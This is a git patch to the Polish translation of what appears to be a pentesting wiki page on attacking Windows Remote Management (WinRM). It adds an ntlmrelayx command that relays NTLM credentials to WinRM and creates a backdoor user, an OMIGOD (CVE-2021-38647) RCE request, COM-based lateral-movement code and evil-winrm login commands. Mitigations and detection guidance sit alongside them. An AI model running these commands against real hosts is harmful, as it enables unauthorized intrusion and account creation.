From 816df08a08d6bb7b8729c3b39ca8beaaaaa772e9 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 13 Aug 2025 16:15:35 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm. --- .../5985-5986-pentesting-winrm.md | 78 +++++++++++++++++-- 1 file changed, 72 insertions(+), 6 deletions(-) diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 25d104589..ad90ecbe3 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -15,12 +15,12 @@ Otwarty port z powyższej listy oznacza, że WinRM został skonfigurowany, co po ### **Inicjowanie sesji WinRM** -Aby skonfigurować PowerShell dla WinRM, wchodzi w grę cmdlet Microsoftu `Enable-PSRemoting`, który przygotowuje komputer do akceptowania zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany: +Aby skonfigurować PowerShell dla WinRM, używa się cmdletu Microsoftu `Enable-PSRemoting`, który przygotowuje komputer do akceptowania zdalnych poleceń PowerShell. Posiadając podwyższone uprawnienia PowerShell, można wykonać następujące polecenia, aby włączyć tę funkcjonalność i oznaczyć dowolny host jako zaufany: ```bash Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` -To podejście polega na dodaniu symbolu wieloznacznego do konfiguracji `trustedhosts`, co wymaga ostrożnego rozważenia ze względu na jego konsekwencje. Zauważono również, że zmiana typu sieci z "Public" na "Work" może być konieczna na maszynie atakującego. +To podejście polega na dodaniu symbolu wieloznacznego do konfiguracji `trustedhosts`, co wymaga ostrożnego rozważenia ze względu na jego implikacje. Zauważono również, że zmiana typu sieci z "Public" na "Work" może być konieczna na maszynie atakującego. Ponadto, WinRM można **aktywować zdalnie** za pomocą polecenia `wmic`, co pokazano poniżej: ```bash @@ -30,7 +30,7 @@ Ta metoda umożliwia zdalne skonfigurowanie WinRM, zwiększając elastyczność ### Sprawdź, czy skonfigurowano -Aby zweryfikować konfigurację swojej maszyny atakującej, używa się polecenia `Test-WSMan`, aby sprawdzić, czy cel ma prawidłowo skonfigurowany WinRM. Wykonując to polecenie, powinieneś oczekiwać otrzymania szczegółów dotyczących wersji protokołu i wsmid, co wskazuje na pomyślną konfigurację. Poniżej znajdują się przykłady ilustrujące oczekiwany wynik dla skonfigurowanego celu w porównaniu do nieskonfigurowanego: +Aby zweryfikować konfigurację twojej maszyny atakującej, używa się polecenia `Test-WSMan`, aby sprawdzić, czy cel ma prawidłowo skonfigurowany WinRM. Wykonując to polecenie, powinieneś oczekiwać otrzymania szczegółów dotyczących wersji protokołu i wsmid, co wskazuje na pomyślną konfigurację. Poniżej znajdują się przykłady ilustrujące oczekiwany wynik dla skonfigurowanego celu w porównaniu do nieskonfigurowanego: - Dla celu, który **jest** prawidłowo skonfigurowany, wynik będzie wyglądał podobnie do tego: ```bash @@ -40,7 +40,7 @@ Odpowiedź powinna zawierać informacje o wersji protokołu i wsmid, co oznacza, ![](<../images/image (582).png>) -- Z drugiej strony, dla celu **nie** skonfigurowanego dla WinRM, skutkowałoby to brakiem tak szczegółowych informacji, co podkreśla brak odpowiedniej konfiguracji WinRM. +- Z drugiej strony, dla celu **nie** skonfigurowanego dla WinRM, skutkowałoby to brakiem szczegółowych informacji, podkreślając brak odpowiedniej konfiguracji WinRM. ![](<../images/image (458).png>) @@ -146,7 +146,7 @@ Przeczytaj **dokumentację** na jej githubie: [https://github.com/Hackplayers/ev ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` -Aby użyć evil-winrm do połączenia z **adresami IPv6**, utwórz wpis w _**/etc/hosts**_, przypisując **nazwę domeny** do adresu IPv6 i połącz się z tą domeną. +Aby użyć evil-winrm do połączenia się z **adresami IPv6**, utwórz wpis w _**/etc/hosts**_, przypisując **nazwę domeny** do adresu IPv6 i połącz się z tą domeną. ### Przekaż hasz za pomocą evil-winrm ```ruby @@ -220,7 +220,73 @@ end - `port:5985 Microsoft-HTTPAPI` -## References +--- + +## Ostatnie luki i techniki ofensywne (2021-2025) + +### Przekazywanie NTLM bezpośrednio do WinRM (WS-MAN) +Od Impacket 0.11 (maj 2023) `ntlmrelayx.py` może przekazywać przechwycone poświadczenia NTLM bezpośrednio do nasłuchującego **WS-MAN**/WinRM. Gdy host nadal nasłuchuje na **niezaszyfrowanym HTTP (5985)**, atakujący może połączyć *mitm6* (lub *Responder*), aby wymusić uwierzytelnienie i uzyskać wykonanie kodu na poziomie SYSTEM: +```bash +sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \ +--command "net user pwned P@ssw0rd! /add" +``` +Mitigacje +* Wyłącz nasłuchiwacze HTTP – `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false` +* Wymuś HTTPS i włącz Rozszerzoną Ochronę dla Uwierzytelniania (EPA) w nowszych wersjach systemu Windows. + +### OMIGOD – CVE-2021-38647 (Azure OMI) +Agenci Azure Linux używają usługi **Open Management Infrastructure (OMI)**, która udostępnia API WinRM/WS-MAN na portach **5985/5986**. Błąd logiczny umożliwił **nieautoryzowane RCE jako root**: +```text +curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '' +``` +Zaktualizuj lub usuń OMI (wersja ≥ 1.6.8-1) i zablokuj te porty z Internetu. + +### Nadużycie WSMan.Automation COM do ruchu lateralnego +WinRM może być używany bez PowerShella za pomocą obiektu COM `WSMan.Automation` – przydatne w systemach w trybie ograniczonego języka. Narzędzia takie jak *SharpWSManWinRM* opakowują tę technikę: +```powershell +$ws = New-Object -ComObject 'WSMan.Automation' +$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null) +$cmdId = $session.Command('cmd.exe',@('/c','whoami')) +$session.Signal($cmdId,0) +``` +Łańcuch wykonania (`svchost → wmiprvse → cmd.exe`) jest identyczny z klasycznym PS-Remoting. + +--- + +## Aktualizacje narzędzi + +* **Evil-WinRM v3.x (2024)** – teraz obsługuje **Kerberos** (`-k` / `--spn`) oraz **uwierzytelnianie oparte na certyfikatach** (`--cert-pem`/`--key-pem`), logowanie sesji (`-L`) oraz możliwość wyłączenia uzupełniania zdalnych ścieżek (`-N`). + +```bash +RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST +``` + +* **Python – `pypsrp` 0.9 (2024)** oferuje WinRM i PS-Remoting z Linuxa, w tym CredSSP i Kerberos: + +```python +from psrp.client import Client +c = Client('srv01', username='ACME\\j.doe', ssl=True) +print(c.execute_cmd('ipconfig /all').std_out.decode()) +``` + +* **Wykrywanie** – monitoruj dziennik **Microsoft-Windows-WinRM/Operational**: +* Wydarzenie 91 / 163 – utworzono powłokę +* Wydarzenie 182 – niepowodzenie uwierzytelnienia +* W dzienniku zabezpieczeń wydarzenie 4262 rejestruje adres IP źródłowy (dodane w lipcu 2022 r. CUs). +Zbieraj te dane centralnie i ostrzegaj o anonimowych lub zewnętrznych adresach IP. + +--- + +## Shodan + +- `port:5985 Microsoft-HTTPAPI` + +## Odniesienia + +- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) +- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/) +- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure) + - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)